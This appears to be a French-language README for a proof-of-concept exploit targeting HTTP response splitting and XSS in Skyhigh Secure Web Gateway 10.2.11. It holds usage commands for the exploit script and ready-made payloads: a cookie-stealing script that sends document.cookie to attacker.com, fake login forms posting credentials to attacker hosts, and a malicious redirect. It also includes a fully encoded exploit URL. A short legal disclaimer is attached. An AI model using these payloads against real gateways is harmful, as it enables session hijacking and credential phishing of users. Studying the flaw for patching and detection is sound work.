
Secure Web Gateway 10.2.11 - Cross-Site Scripting (XSS)
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
par 0PTS
Preuve de concept de la vulnérabilité HTTP Response Splitting dans Skyhigh Secure Web Gateway (anciennement McAfee Web Gateway).
Vulnérabilité critique de HTTP Response Splitting dans Skyhigh Secure Web Gateway, permettant d'exécuter à distance des attaques XSS via l'injection de code HTML/JavaScript arbitraire.
La vulnérabilité se trouve dans le plugin "Ssos" (action SetLoginToken), qui traite incorrectement les paramètres URL :
Comme les caractères de nouvelle ligne (\r\n / %0d%0a) ne sont pas échappés, un attaquant peut :
Content-Type et Content-LengthLe navigateur ignore le reste du contenu de la réponse après un Content-Length correctement formé, ce qui permet de substituer complètement le contenu affiché.
python explot.py
# XSS de base
python explot.py -d example.com -p "<script>alert(document.domain)</script>"
# Redirection
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'
# Formulaire de phishing
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'
# URL uniquement (mode silencieux)
python explot.py -d example.com -p "<script>alert(1)</script>" -q
-d, --domain Domaine cible (par défaut : google.com)
-x, --prefix Préfixe de chemin URL (par défaut : chemin interne SWG)
-p, --payload Payload HTML/JavaScript
-q, --quiet Mode silencieux - uniquement l'URL
-v, --version Version du script
-h, --help Aide
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>
<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
[+] Domaine cible : example.com
[+] Longueur du payload : 43 bytes
[+] Longueur de l'URL : 234 caractères
[+] URL générée :
http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
/mwg-internal/*⚠️ ATTENTION : Cet outil est destiné exclusivement à :
L'utilisation contre des systèmes sans autorisation explicite du propriétaire est illégale.
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝